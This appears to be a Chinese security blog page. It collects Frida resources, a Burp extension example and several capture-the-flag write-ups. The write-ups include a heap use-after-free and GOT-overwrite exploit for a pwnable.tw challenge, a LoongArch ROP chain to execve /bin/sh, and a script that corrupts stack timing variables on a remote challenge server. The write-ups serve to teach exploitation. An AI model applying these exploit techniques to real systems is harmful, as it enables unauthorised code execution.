Cameudis' Blog

Binary Hack, Computer System, Music, and whatever

0%

Frida是一个几乎全平台(Windows、MacOS、GNU/Linux、IOS、Android)的代码插桩软件。它能够把谷歌的V8引擎(JavaScript、WebAssembly引擎,即解释器)注入到目标进程中,允许我们编写的JS脚本拥有对于整个进程内存空间的访问权、Hook进程里的代码、直接调用它们等……

Frida功能强大,且使用非常便捷、快速。比如在Android平台,Xposed模块也一样可以做到插桩,但调试起来麻烦得多,每次都要生成APK、安装APK、添加模块、重启环境。而Frida甚至不需要编译!官网对它的描述是 Scriptable,编辑后运行,直接就能够看到结果——你甚至不用重开目标进程!

如何使用Frida?Frida包括一个需要在目标机器上运行的Frida Server,同时,在本机上(用于写脚本的机器)提供了命令行工具(Frida CLI tool)、也可以用Python调用Frida API或直接编写JS脚本。

本笔记收集了一些安卓使用Frida的资源。

推荐食用方法是:

  1. 安装:如果你是PoRE学生,可以直接用助教给的方法,在虚拟机进行安装配置。否则可以参考官网文档。
    如果想要用真机进行调试,最好确保使用备用手机,可以使用magisk进行root,可以用一个magisk模块自动开机自启frida服务器,名为MagiskFrida。
  2. 从(助教给的例子或)官网的Example中学习,跑跑脚本并改一改脚本,学习Frida & Android的基础用法。
  3. 你已经可以直接上手了。遇到想要hook但不知道怎么hook的内容,从第三个链接(Sakura大佬的博客)那边可以学习如何使用,如何new一个类、如何获取一个类的实例等。
  4. python脚本与目标进程通信允许我们在主机上也能放一些逻辑,再加上python强大的第三方库支持,我们可以整很多活。等hook成功了之后,看看第四个链接的内容,想想可以整什么活。
  5. 最后是第五个链接,完整的官方文档,可以备着,想要实现某个奇怪的功能或了解某个接口的具体用法时查看。

安装配置:官网Android安装文档
官网Android Example(可以从注释学到基础用法):Android | Frida
大部分用法教程与示例:Frida Android hook | Sakuraのblog
目标进程与本地python脚本通信教程:Messages | Frida
详细的文档:JavaScript API | Frida

相关:realloc、tcache2.29

借用了很多巧合,实在是特别“幸运”的一个利用。
自己做出来之后,发现网上大部分wp都和我的解法不一样,但是更通用一些,不像我的那么极限(草)。

漏洞分析

保护情况:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
FORTIFY: Enabled

程序是一个菜单,提供了alloc、realloc、free功能,来操作bss段的两个栏位,大致功能如下:

  • alloc:选中栏当前为NULL时,使用 realloc(NULL, size) 分配新的区块并读入数据;
  • realloc:选中栏当前非NULL时,将选中栏使用 realloc(ptr, size) 来调整大小并(如果realloc返回值非0)读入数据;
  • free:将选中栏使用 realloc(ptr, 0) 进行释放,并将指针置零

主要的漏洞在于realloc的使用上,可以通过RTFM(在线man地址:realloc(3): allocate/free dynamic memory - Linux man page)得到realloc的说明:

The realloc() function changes the size of the memory block pointed to by ptr to size bytes. The contents will be unchanged in the range from the start of the region up to the minimum of the old and new sizes. If the new size is larger than the old size, the added memory will not be initialized. If ptr is NULL, then the call is equivalent to malloc(size), for all values of size; if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr). Unless ptr is NULL, it must have been returned by an earlier call to malloc(), calloc() or realloc(). If the area pointed to was moved, a free(ptr) is done.

注意到,当ptr字段为0,realloc等价于malloc;当ptr不为0但size为0时,realloc等价于free。

程序确实使用这两种功能来实现了malloc以及free,但是在realloc和free功能中,检查做得不够完善:

  • 当realloc中输入size为0,可以触发free,且不将原指针置零,创造了UAF的可能。
  • 使用free作用于空栏位(NULL),可以触发一次匿名的malloc(0)。这里的匿名指的是结果不会保存在bss段结构中,因为free会将其置零。

其实另外还在alloc功能中发现了一个Off-by-NULL漏洞,但我并没有想到很好的办法来用到这个漏洞。

Exploitation

在宏观的层面上,由于程序二进制本身虽然关闭了PIE,但没有特别有用的函数,因此思路还是两步走:泄露libc地址、劫持控制流。

泄露libc地址

程序本身并没有能够提供打印区块数据的功能,因此想要泄露libc数据就一定需要劫持控制流。
目前,栈地址未知排除ROP,将目标瞄准GOT:

1
2
3
4
5
6
7
8
9
10
11
off_404018 dq offset _exit  
off_404020 dq offset __read_chk
off_404028 dq offset puts
off_404030 dq offset __stack_chk_fail
off_404038 dq offset printf
off_404040 dq offset alarm
off_404048 dq offset atoll
off_404050 dq offset signal
off_404058 dq offset realloc
off_404060 dq offset setvbuf
off_404068 dq offset __isoc99_scanf

首先思考可不可以把唯一操作区块的外部函数——realloc替换为puts来泄露地址,笔者这时顾忌到题目限制了区块大小,不太方便构造 unsorted bin 中的区块。
因此将目标瞄准了atoll,这个函数在read_long中被调用,参数是栈上用来读入数字的buffer。可以尝试用它来泄露栈上的数据。

这时一个好主意是使用plt[printf]代替atoll,这样就可以在栈上指哪打哪,可惜笔者做的时候并没有想到这个好主意,只是用了plt[puts]。不过不影响,因为我遇到了第一个逆天的巧合:在buffer+8的位置就有一个libc地址。先介绍一下怎么覆写的:

1
2
3
4
5
alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

第一行创建了一个0x20大小区块,第二行将其释放进入tcache,同时保留了这个指针。
第三行使用了realloc,realloc发现这个区块大小正常就直接放行了,从而我们可以覆盖fd指针为got[atoll]。
第四行使用free的漏洞来申请一个匿名区块,分配完之后再下一个区块就是atoll了。
第五行将atoll覆盖为plt[puts],并顺便把realloc覆盖为一个普通 ret 的地址,原因后面再说。

这里需要提一嘴,我使用了匿名区块来解决这一问题:非0的栏位无法进行alloc。不过在复盘时,从网上的大佬那边发现可以通过一种非常巧妙的方式来将栏位置零,同时又不干扰已经位于tcache中的atoll地址,从而将后续利用流程也变得直观一些。
可以通过realloc将区块变大,然后再free。这样就可以free到别的大小的tcache中,并且根本不用关注key的检查,也不会将atoll的地址覆盖,一举两得。
参考地址见Binary Exploitation [pwnable.tw] - Realloc - Tainted Bits

接下来泄露libc地址,由于buffer+8就有,因此简简单单就可以泄露了:

1
2
3
4
5
6
7
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

攻击!

目标是 get shell,由于之前已经有了指向GOT的指针(栏位1中),所以我们想办法利用realloc中最后的那个read_input函数来再次修改GOT。
但由于realloc在中间会调用realloc(废话),直接让他realloc一个GOT中的区块大概率是要出问题的,而且程序会往realloc的返回值中读入数据。因此我们需要想一个办法让realloc调用返回之后,rax是GOT中区块的地址。

静态分析一波,并没有发现什么 mov rax, rdi; ret; 的gadget,难道我的方法走不下去了吗?于是动态分析一波,惊喜地发现 程序在调用realloc之前,rax中就已经是GOT中区块地地址了,令人不得不感叹 大自然 出题人的鬼斧神工。

所以就有了上面把realloc覆盖为一个简单的 ret 。这样一来,在执行了下面几句代码后,atoll就会变成system的地址(注意注释,很重要):

1
2
3
4
5
6
7
8
9
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

最后,我们随便触发一个read_long,输入/bin/sh,就可以成功 get shell!当然,也可以直接输入 cat ~/flag,如果您需要节省时间的话。

1
2
3
4
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def alloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc_free(id):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(b"0")

def free(id):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))


def pwn():

# ---------- leak libc ----------

# 1.1 hijack GOT[atoll] to PLT[puts], GOT[realloc] to 'ret'

alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

# 1.2 leak libc load address (from stack)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

# ---------- hijack GOT ----------

# 2.1 hijack GOT[atoi] to libc[system]

io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

# 2.2 trigger system("/bin/sh") by atoi("/bin/sh")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

success("Enjoy your shell!")
io.interactive()

这个故事告诉我们:涉及内存安全的函数还是要小心小心再小心,仔细阅读手册、了解边界行为……

官方教程:Creating Burp extensions - PortSwigger
Montoya官方文档:MontoyaApi
Montoya官方示例:PortSwigger/burp-extensions-montoya-api-examples: Examples for using the Montoya API with Burp Suite

Burp Suite过去插件开发使用的是Extender API,不过最近推出了一套新的API(今年1月刚刚发布),叫做Montoya API。新的API增加了Burp Suite插件开发的简便性,但是似乎并不完善,还有一些接口没有实现的样子。

对于Lab4中的任务,也就是自动处理HTTP包的插件,可以参考这个例子:burp-extensions-montoya-api-examples/proxyhandler/src/main/java/example/proxyhandler at main · PortSwigger/burp-extensions-montoya-api-examples

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Ext implements BurpExtension {

@Override
public void initialize(MontoyaApi api) {
api.extension().setName("Lab4_Extension");

Logging logging = api.logging();

// write a message to our output stream
logging.logToOutput("Hello output.");

api.proxy().registerRequestHandler(new RequestHandler(logging));
logging.logToOutput("Bind RequestHandler");
api.proxy().registerResponseHandler(new RespondHandler(logging));
logging.logToOutput("Bind RespondHandler");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class RequestHandler implements ProxyRequestHandler {
private final Logging logging;
RequestHandler(Logging logging) {
this.logging = logging;
}
@Override
public ProxyRequestReceivedAction handleRequestReceived(InterceptedRequest interceptedRequest) {

logging.logToOutput("Request");
logging.logToOutput("url " + interceptedRequest.url());
logging.logToOutput("request " + interceptedRequest.bodyToString());

// modify the request
HttpRequest new_request = interceptedRequest;
if (interceptedRequest.url().contains("login")) {
logging.logToOutput("Login detected");
new_request = interceptedRequest.withBody("msg=...");
} else if (interceptedRequest.url().contains("buy")) {
logging.logToOutput("Buy detected");
new_request = interceptedRequest.withBody("msg=...");
}

return ProxyRequestReceivedAction.continueWith(new_request);
}

@Override
public ProxyRequestToBeSentAction handleRequestToBeSent(InterceptedRequest interceptedRequest) {
//Do nothing with the user modified request, continue as normal.
return ProxyRequestToBeSentAction.continueWith(interceptedRequest);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class RespondHandler implements ProxyResponseHandler {
private final Logging logging;
RespondHandler(Logging logging) {
this.logging = logging;
}
@Override
public ProxyResponseReceivedAction handleResponseReceived(InterceptedResponse interceptedResponse) {
logging.logToOutput("Response");
logging.logToOutput("response " + interceptedResponse.bodyToString());

// modify the response
if (interceptedResponse.bodyToString().equals("...")) {
return ProxyResponseReceivedAction.continueWith(interceptedResponse.withBody("..."));
}
return ProxyResponseReceivedAction.continueWith(interceptedResponse);
}
@Override
public ProxyResponseToBeSentAction handleResponseToBeSent(InterceptedResponse interceptedResponse) {
return ProxyResponseToBeSentAction.continueWith(interceptedResponse);
}
}

Loongarch ROP
比赛时发现了这是LoongArch的ROP,然后不太会找gadget就放弃了。赛后看大佬的writeup,发现只要找到一个关键的来自_dl_runtime_resolve的gadget,就可以万事大吉了。
复现参考:CTFtime.org / UTCTF 2023 / Bing Chilling / Writeup


环境准备

我们都知道 Linux 下的可执行文件是 ELF 格式,但 ELF 也分架构,比如这个 binary 就并不是 amd64 架构的,而是 Loongarch 龙架构。

1
2
$ file hello
hello: ELF 64-bit LSB executable, *unknown arch 0x102* version 1 (SYSV), statically linked, for GNU/Linux 5.19.0, with debug_info, not stripped

可以看到其 ELF Header 中的 arch 字段值为 0x102,是一个 file 未知的架构。在网上查询 0x102,可以知道这是龙架构。为了调试这个 binary,我们需要一台龙架构真机……或者是一个龙芯模拟器。此外,我们还需要能够静态分析这个 binary 的工具,比如 objdump。

著名的模拟器 qemu 在其 7.1.0 版本引入了对龙架构模拟的支持,因此我们安装下最新的 qemu 就行了。
Releases · loongson/build-tools (github.com) 这里可以找到一些龙架构的交叉编译(跨架构生成 ELF)的工具,其中就包括龙架构的 objdump。
最后,为了动态调试,可能还需要一个支持龙架构的 gdb。gdb 在 13.1 版本引入了对龙架构调试的支持,可以通过下面的指令来在 /opt/gdb 目录下编译支持龙架构的 gdb(中途遇到报错多半是缺少某个库,可以上网搜)(执行指令的位置无所谓,不过在 root 的目录下需要加很多 sudo ……):

1
2
3
4
5
6
7
8
wget https://ftp.gnu.org/gnu/gdb/gdb-13.1.tar.xz
tar xf gdb-13.1.tar.xz
cd gdb-13.1
mkdir build
cd build
../configure --target=loongarch64-unknown-linux-gnu --prefix=/opt/gdb
make
sudo make install

编译得到的 gdb 位于 /opt/gdb/bin/loongarch64-unknown-linux-gnu-gdb

程序分析

学过 mips 和 riscv 的朋友会对 LoongArch 的指令集感到比较熟悉,LoongArch 也是 risc。它的寄存器昵称和 riscv 的几乎一模一样,比如存放 return address 的 ra。
从 pwner 的视角来看,龙架构:

  • 系统调用的参数依次存放在 a0a1a2a3a4, ……
  • 系统调用编号存放在:a7
  • 返回地址存放在 ra 寄存器中
    返回指令是 jirl $zero, $ra, 0 
  • bl 用作 call,先把返回地址存到 ra 然后跳转到目标地址
  • syscall 指令就是 syscall

使用 cross tool 中的 objdump 可以查看 binary 的汇编,我们直接看 main 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000120000520 <main>:
120000520: 02fec063 addi.d $sp, $sp, -80(0xfb0)
120000524: 29c12061 st.d $ra, $sp, 72(0x48)
120000528: 29c10076 st.d $fp, $sp, 64(0x40)
12000052c: 02c14076 addi.d $fp, $sp, 80(0x50)
120000530: 1a000b0c pcalau12i $t0, 88(0x58)
120000534: 02e46184 addi.d $a0, $t0, -1768(0x918)
120000538: 54bf0000 bl 48896(0xbf00) # 12000c438 <_IO_puts>
12000053c: 02fec2cc addi.d $t0, $fp, -80(0xfb0)
120000540: 00150184 move $a0, $t0
120000544: 54bb5400 bl 47956(0xbb54) # 12000c098 <_IO_gets>
120000548: 02fec2cc addi.d $t0, $fp, -80(0xfb0)
12000054c: 00150185 move $a1, $t0
120000550: 1a000b0c pcalau12i $t0, 88(0x58)
120000554: 02e4e184 addi.d $a0, $t0, -1736(0x938)
120000558: 54651800 bl 25880(0x6518) # 120006a70 <_IO_printf>
12000055c: 0015000c move $t0, $zero
120000560: 00150184 move $a0, $t0
120000564: 28c12061 ld.d $ra, $sp, 72(0x48)
120000568: 28c10076 ld.d $fp, $sp, 64(0x40)
12000056c: 02c14063 addi.d $sp, $sp, 80(0x50)
120000570: 4c000020 jirl $zero, $ra, 0

从中可以观察到很多经典的过程调用行为,比如开始时拓展栈空间、存放返回地址等信息;结束时取回返回地址、恢复栈空间。毕竟栈这种 LIFO 的结构对于过程调用还是非常根本的。
注意到,main 函数会依次调用 puts、gets 和 printf。有 gets 不就可以直接栈溢出了吗?
使用 qemu-loongarch64 hello,然后输入一大段 A,果然 qemu 报了 segmentation fault。

接下来的问题就是,我们已经能够控制栈了,那么 LoongArch 的栈上可以 ROP 吗?答案是可以。虽然 LoongArch 有专门用来存返回地址的 ra 寄存器,但很多过程仍然会把返回地址存到栈上,这是因为这些过程自己也需要调用其他的过程。因此,LoongArch 过程的结束既有从栈上读取返回地址,又有返回指令,可以进行 ROP。

漏洞利用

我们的目标是 get shell,但这个 hello 虽然是静态链接的,却没有 system 函数。不过,我们可以直接找到 syscall gadget:

1
2
120013e4c:	002b0000 	syscall     	0x0
120013e50: 4c000020 jirl $zero, $ra, 0

至于 LoongArch Linux 的 Syscall Table,我好像只在 [6/14, LoongArch] Linux Syscall Interface - Patchwork (ozlabs. Org) 有看到,其中 execve 是 221。
只要能够控制 $a0 指向一个 “/bin/sh” 的字符串,$a1 和 $a2 控制为 0,就可以 get shell。我们需要为此找到合适的 gadget。

从本文参考的文章那边找到了一个非常牛逼的 gadget,来自 _dl_runtime_resolve 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
120048098:   0015008d        move            $t1, $a0
12004809c: 28c12061 ld.d $ra, $sp, 72(0x48)
1200480a0: 28c02064 ld.d $a0, $sp, 8(0x8)
1200480a4: 28c04065 ld.d $a1, $sp, 16(0x10)
1200480a8: 28c06066 ld.d $a2, $sp, 24(0x18)
1200480ac: 28c08067 ld.d $a3, $sp, 32(0x20)
1200480b0: 28c0a068 ld.d $a4, $sp, 40(0x28)
1200480b4: 28c0c069 ld.d $a5, $sp, 48(0x30)
1200480b8: 28c0e06a ld.d $a6, $sp, 56(0x38)
1200480bc: 28c1006b ld.d $a7, $sp, 64(0x40)
1200480c0: 2b814060 fld.d $fa0, $sp, 80(0x50)
1200480c4: 2b816061 fld.d $fa1, $sp, 88(0x58)
1200480c8: 2b818062 fld.d $fa2, $sp, 96(0x60)
1200480cc: 2b81a063 fld.d $fa3, $sp, 104(0x68)
1200480d0: 2b81c064 fld.d $fa4, $sp, 112(0x70)
1200480d4: 2b81e065 fld.d $fa5, $sp, 120(0x78)
1200480d8: 2b820066 fld.d $fa6, $sp, 128(0x80)
1200480dc: 2b822067 fld.d $fa7, $sp, 136(0x88)
1200480e0: 02c24063 addi.d $sp, $sp, 144(0x90)
1200480e4: 4c0001a0 jirl $zero, $t1, 0

似乎不管在哪个架构中,_dl_runtime_resolve 函数的功能都是保存寄存器的值到栈中,然后调用_dl_fixup执行具体的功能,然后从栈中恢复寄存器。因此以后要是遇到了什么riscv pwn,也可以使用这个gadget。
这个 gadget 能够控制所有参数寄存器,但需要提前把返回地址存在 $a0 中。所以继续手工找 gadget:

1
2
3
4
5
6
7
8
12000bc54:   28c0a061        ld.d            $ra, $sp, 40(0x28)
12000bc58: 28c08077 ld.d $s0, $sp, 32(0x20)
12000bc5c: 28c04079 ld.d $s2, $sp, 16(0x10)
12000bc60: 28c0207a ld.d $s3, $sp, 8(0x8)
12000bc64: 00150304 move $a0, $s1
12000bc68: 28c06078 ld.d $s1, $sp, 24(0x18)
12000bc6c: 02c0c063 addi.d $sp, $sp, 48(0x30)
12000bc70: 4c000020 jirl $zero, $ra, 0

这个 gadget 可以把 $s1 移到 $a0 ,那就继续找可以改 $s1 的 gadget:

1
2
3
4
5
6
7
12000be90:   28c06061        ld.d            $ra, $sp, 24(0x18)
12000be94: 0012e004 sltu $a0, $zero, $s1
12000be98: 28c04077 ld.d $s0, $sp, 16(0x10)
12000be9c: 28c02078 ld.d $s1, $sp, 8(0x8)
12000bea0: 00119004 sub.d $a0, $zero, $a0
12000bea4: 02c08063 addi.d $sp, $sp, 32(0x20)
12000bea8: 4c000020 jirl $zero, $ra, 0

有了这三个 gadget,齐活了!我们拥有了执行任意函数、任意 syscall 的能力。
接下来就是 exp 了,思路是首先把 “/bin/sh”读入到已知地址(程序关闭了 PIE),比如 bss 段,然后用 syscall gadget 来 get shell。前者我们可以通过 return to gets 来实现。

利用脚本写得不是很优雅,不过懒得改了。总之知道大概意思就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
g1 = 0x12000bc54
g2 = 0x12000be90
g3 = 0x120048098
sys = 0x120013e4c
buf_addr = 0x120087000
gets_addr = 0x12000c098


def pwn():
payload = b"A" * 72
payload += flat([
g2,
0, gets_addr, 0
])
payload += flat([
g1,
0, 0, 0, 0, 0,
])
payload += flat([
g3,
0, buf_addr, 0, 0, 0, 0, 0, 0, 0,
g2,
0, 0, 0, 0, 0, 0, 0, 0,
])
payload += flat([
0, sys, 0
])
payload += flat([
g1,
0, 0, 0, 0, 0,
])
payload += flat([
g3,
0, buf_addr, 0, 0, 0, 0, 0, 0, 221,
g2,
0, 0, 0, 0, 0, 0, 0, 0,
])

io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

我们CTF萌新小分队已经达到了4人之多(`ヮ´),这次排名41/433,感觉很好~
这道题有十个队做出来,很高兴我也弄出来了,还顺便大致学会了docker配本地环境,挺感动的~~

漏洞:随机数未设种子、数组下标溢出


程序逻辑

程序给了 N 个代码源文件以及DockerFile。主要逻辑是用 C code 写的,但是封装成了一个 Python 可以调用的模块,名为 spy,相关信息参考python文档 Extending Python with C or C++ — Python 3.11.2 documentation

game.py 会让玩家选择游戏模式(easy or hard),然后调用 spy 模块的接口,如果返回通过就把 flag 打印出来。spy 模块的主要逻辑大致如下:

  • 首先进行八轮循环,每轮循环中:
    1. 生成一个固定大小的数组,元素类型 uint8_t
    2. 随机取两个数交换
    3. 打印交换后的数组
    4. 玩家输入两个 index(这一步将会计时,并分别将前后的时间保存到局部变量 start_nsend_ns 中)
    5. 程序交换两个 index 的值
    6. 程序检查交换后数组,若正确则 total_ok++
    7. 程序将 end_ns - start_ns 加到 total_ns
  • 循环完毕后,检查 total_ok == 5total_ns 是否足够小,并返回结果。

在 easy 模式下,total_ns 的限制换算后为 60 秒;但在 hard 模式下,total_ns 的限制为 1000ns,这通过正常的途径是不可能做到的(远程环境下最快每轮循环也需要 6000ns+)。

漏洞分析

第一个漏洞:程序生成随机数没有设置随机的种子,所以我们可以直接知道每一轮的答案是什么,从而达成五轮胜利来满足 total_ok == 5 的条件。
第二个漏洞:程序读取将要交换的 index 时,并没有做边界检查,所以我们可以干扰栈上的局部变量

函数中的局部变量声明如下:

1
2
3
4
5
6
7
8
9
char user_input[256];
uint8_t numbers[count];
struct timespec start, end;
uint64_t start_ns, end_ns;
uint64_t total_ns, total_ok;
size_t swap1, swap2;
size_t swap1_in, swap2_in;
size_t i, k;
bool ok;

其中最为重要的显然是 total_nstotal_ok 变量。但由于我们无法获取实际运行的 binary 文件,所以也没办法知道这些变量是存在栈上还是寄存器中,也没办法知道栈上相对 numbers 数组的偏移。

一种容易想到的方法是先答对五轮,然后尝试用 0 与 total_ns 交换来减少所花的时间。但这种方法需要我们知道 total_ns 的地址(如果它真的在栈上)。
在本地环境,经过幸苦的调试,可以发现 total_ns 确实在栈上,并利用这种方法攻击成功。但在远程环境,不论如何调试,都没办法找到 total_ns 的位置,我估计这个变量存寄存器上了。(这里省略了部分细节)
3.10/20:30 UPDATE:赛后看了别的师傅的writeup,发现这个方法是完全可以的,现在再跑之前的脚本就跑出来了,不知道昨天晚上为什么一直跑不出,感觉是运气实在太差了……

没办法直接修改 total_ns,那就通过程序内的代码来修改 total_ns
total_ns += end_ns - start_ns;
如果我们能够交换 end_nsstart_ns,那就可以让 total_ns 减小。

为了找到这两个变量的位置,同样需要慢慢试。由于程序每轮会告知玩家所花的时间,因此这两个变量的位置可以很方便地试出来(所花时间非常大就说明打到了)。由于我们只能交换两个 uint8_t,因此需要考虑更换哪两个位。

根据远程返回的信息可以发现,如果我们让程序以最快的速度运行(程序用 fgets 读取玩家输入,我们直接发送一个大字符串,其中用换行符区分答案),那么每轮的时间大约在 6000ns-10000ns 左右,换算为十六进制为 0x1770-0x2710。
这可以说明大部分情况下,开始和结束的时间,除了最后两个字节外,其余的字节都是相同的。所以我们只要交换两个时间的倒数第二个字节,就可以让它们的真值也大致交换。

此外,由于时间会波动,因此若最后三次交换成功,就会有一定几率让最后的 total_ns 小于 1000ns。接下来就是编写脚本。

漏洞利用

经过测试发现,328-335 的偏移是 start_ns,320-327 的偏移是 end_ns。我交换的位偏移为 321 和 329。
利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def pwn():
global io
io = remote("52.59.124.14", 10013)
# io = remote("127.0.0.1", 9090)

payload = b"103\n255\n105\n191\n16\n81\n71\n74\n41\n163\n"
payload += b"321\n329\n321\n329\n321\n329\n"
payload = b'\n' + payload
io.sendlineafter(b"Hard", b"hard")
io.sendafter(b"Ready", payload)
# 329-336 start_ns
# 321-328 end_ns

if __name__ == '__main__':
for i in range(100):
pwn()
mes = io.recvrepeat(2.2)
if (mes.find(b"for you troubles:") != -1):
print(mes[mes.find(b"for you troubles:"):])
break

最后附上爆破出flag的截图~ 今天早上挂上脚本后去干别的事了,回来突然看到打出来了很激动哈哈哈。

嘿嘿嘿

省流:Canary爆破,顺便复习了一下Linux socket API,还知道了IDA View下右键数值常量可以查找对应的枚举名(前提是要指知道枚举名的开头)(比如AF_INET、SOCK_STREAM等)。

Read more »